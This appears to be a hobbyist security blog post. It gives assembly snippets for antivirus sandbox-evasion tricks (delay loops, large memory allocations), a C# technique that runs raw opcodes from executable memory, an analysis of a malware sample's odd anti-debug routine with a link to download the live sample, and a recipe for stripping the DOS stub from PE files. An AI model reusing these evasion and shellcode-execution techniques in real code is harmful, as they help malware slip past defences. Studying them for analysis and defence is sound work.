Hello fellow readers!
You all are probably wondering what the hell I’ve been up to this past month. Lot’s of stuff. This post is all over the place with code and slides and malware and general wackiness. Rather than spreading it out over several blog posts, I decided to just get it all over with so I can focus on cooler things in the future.
I saw an interesting webinar on sandbox detection techniques employed by malware by Cyphort. They haven’t released their slides like they said they would, so here are theones I took. These are cool and all, but I felt like I could contribute.
I read an awesome paper on bypassing antiviruses by employing a number of code based tricks. The idea behind them was that AV’s will skip binaries based on certain behaviors. One thing missing though – an AV will skip the “dropper” heuristic if the file ends in ‘.msi’. All the code I saw was in C/C++. I figured why not try and convert it to assembly? Next thing to do is make a patcher that can inject these into pre-compiled binaries. A future project perhaps? Anyways, I only did 2 before I lost interest. Read thearticle here.
;AV bypass 1 xor eax, eax db Caption "Joe" db Text "Giron" mov edx, 5F5E100h joe: inc eax dec edx jnz joe cmp eax, 5F5E100h jnz short urafag push 0 ; MB_OK push offset Caption push offset Text push 0 ; hWnd call MessageBoxA urafag: xor eax, eax retn ;AV bypass 1.5 ; same as above, just using the loop instruction instead of branching conditionals xor eax, eax db Caption "Joe" db Text "Giron" mov ecx, 5F5E100h joe: ; essentially do nothing mov eax,10 mov ebx,20 xchg eax,ebx loop joe ; now start code xor eax,eax xor ebx,ebx push 0 ; MB_OK push offset Caption push offset Text push 0 ; hWnd call MessageBoxA retn ;AV bypass 2 push ebx push edi push 5F5E100h ; bytes to alloc push 40h ; zero init call GlobalAlloc mov ebx, eax test ebx, ebx jz short cleanup mov edi, ebx mov eax, 0FFFFFFF1h mov ecx, 5F5E100h rep stosb push 0 ; MB_OK push offset Caption ; "Joe" push offset Text ; "Giron" push 0 ; hWnd call MessageBoxA push ebx ; memory handler call GlobalFree cleanup: xor eax, eax pop edi pop ebx retn
Feels good to put my crappy assembly skills to good use. Especially now that I figured out how to use inline assembly within C#. Sort of. The way it works is by utilizing delegates and cramming code inside an executable code page. Observe this piece of genius:
using System; using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; namespace InLineAsm { static class Program { [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate void JoesAntiDebuggery(); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, IntPtr flAllocationType, IntPtr flProtect); static byte[] opcodez = { 0x55, 0x89, 0xE5, 0x31, 0xC0, 0xBA, 0x00, 0xE1, 0xF5, 0x05, 0x40, 0x4A, 0x75, 0xFC, 0x3D, 0x00, 0xE1, 0xF5, 0x05, 0x75, 0x14, 0x6A, 0x00, 0x68, 0x12 ,0x70, 0x40, 0x00, 0x68, 0x0C, 0x70, 0x40, 0x00, 0x6A, 0x00, 0xFF, 0x15, 0xD0, 0x80, 0x40, 0x00, 0x31, 0xC0, 0x68, 0x00, 0x70, 0x40, 0x00, 0xE8, 0x3B, 0x00, 0x00, 0x00, 0x59, 0x31, 0xC0, 0x89, 0xEC, 0x5D, 0xC3 } // opcodes taken from disassembled program. /* __asm { xor eax, eax mov edx, 5F5E100h joe: inc eax dec edx jnz joe cmp eax, 5F5E100h jnz short urafag } MessageBox(0,Text, Caption,0); __asm { urafag: xor eax, eax } */ static IntPtr codeBuffer = VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)opcodez.Length), (IntPtr)(0x1000 | 0x2000), (IntPtr)0x40); // EXECUTE_READWRITE, MEM_COMMIT | MEM_RESERVE Marshal.Copy(opcodez, 0,codeBuffer, opcodez.Length); JoesAntiDebuggery JoeDbg = (JoesAntiDebuggery) Marshal.GetDelegateForFunctionPointer(codeBuffer, typeof(JoesAntiDebuggery)); static void Main(string[] args) { Console.Write("lol"); JoeDbg(); } } }
It’s a thing of beauty – Assembly, C code, op codes / hex, delegates, and C#.
Moving on to what else I’ve been up to – pulling apart malwarez. This one piece gave me trouble for a few days. Namely because of the weird anti-debugging counter measure I encountered. I’m unsure if its even anti-debug as the conditions always seem to equate to false. I mean it’s easy to get around when you see it, but you can’t get around it automatically – you have to patch it. I even took a video of the weird behavior.
Took me some time, but I figured it out.
sub_4017CF proc near push ebp mov edi, edx add edi, ebx not ebx mov ebp, esp add edi, ebx add esp, 0FFFFFF94h mov edx, ebx inc ebx mov ecx, esp dec ebx mov edi, eax add ecx, 48h mov ebx, ecx dec edi cmp eax, ecx jz short labelforyou neg edx leave not edx mov eax, edi neg eax leave add edx, edi not edx retn labelforyou: leave retn
The first thing you may notice about this procedure is the weird stack frame setup. Most of the time, the intro stack frame will be “push ebp” followed directly by “mov ebp, esp”. This one is different in that it plays with the registers a little before the “mov ebp, esp” assembly codes. You may also notice the 2 “leave” instructions at the end of the procedure as opposed to the 1 for the “labelforyou” conditional. The 2 “leave” instructions are why the program jumps to ExitThread. When you leave a stack frame twice and ‘ret’, any windows program jumps to ntdll.RtlExitUserThread. An interesting intrinsic way of quietly exiting without warning.
But what about the code that leads up to the ‘JZ’ branch and the 2 leaves? The comparison is EAX to ECX. Every time I run, EAX always ends up as 1 and ECX as some stack address. I’m postulating that the malware I grabbed was extracted from a dropper. That makes sense given the stack value / pointer points to nothing useful.
If you’re curious what the malware does, it attempts to download and run a ‘doc’ file from a russian host. Inside the ‘doc’ file is HTML code with a meta redirect to a host my DNS server can’t seem to find:
You can download the malware here. Pass in ‘infected’.
The other piece of malware I went through lacked a DOS sub. Most exe’s have this little DOS application inside that reads “this program cannot be run in DOS mode” and is placed at the start of an exe just in case someone attempts to run an exe on an old DOS system. Its a forward compatibility thing Microsoft does. Compare a normal exe to the binary:
So how the hell do you remove the DOS sub and still maintain functionality? According to TinyPE, you do it in assembly via zeroing out the MZ header with the exception of the ‘e_magic’ field ‘MZ’ at the start and the ‘e_lfanew’ field value at the bottom. The ‘e_lfanew’ field is just a 4 byte offset to where the PE header is located.
mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED dw 0 ; e_cp UNUSED dw 0 ; e_crlc UNUSED dw 0 ; e_cparhdr UNUSED dw 0 ; e_minalloc UNUSED dw 0 ; e_maxalloc UNUSED dw 0 ; e_ss UNUSED dw 0 ; e_sp UNUSED dw 0 ; e_csum UNUSED dw 0 ; e_ip UNUSED dw 0 ; e_cs UNUSED dw 0 ; e_lsarlc UNUSED dw 0 ; e_ovno UNUSED times 4 dw 0 ; e_res UNUSED dw 0 ; e_oemid UNUSED dw 0 ; e_oeminfo UNUSED times 10 dw 0 ; e_res2 UNUSED dd pesig ; e_lfanew
But what about doing it to a pre-compiled binary? I just used CFF explorer and HXD. Jot down the ‘e_lfanew’ field offset and zero out the entries between the PE header, the MZ field, and the ‘e_lfanew’ field:
The malware does code running modification and is surprisingly sophisticated, but this blog post is long enough. I’m done for now.
The next post will be much more interesting, however its unfinished and needs more research. Except it soon.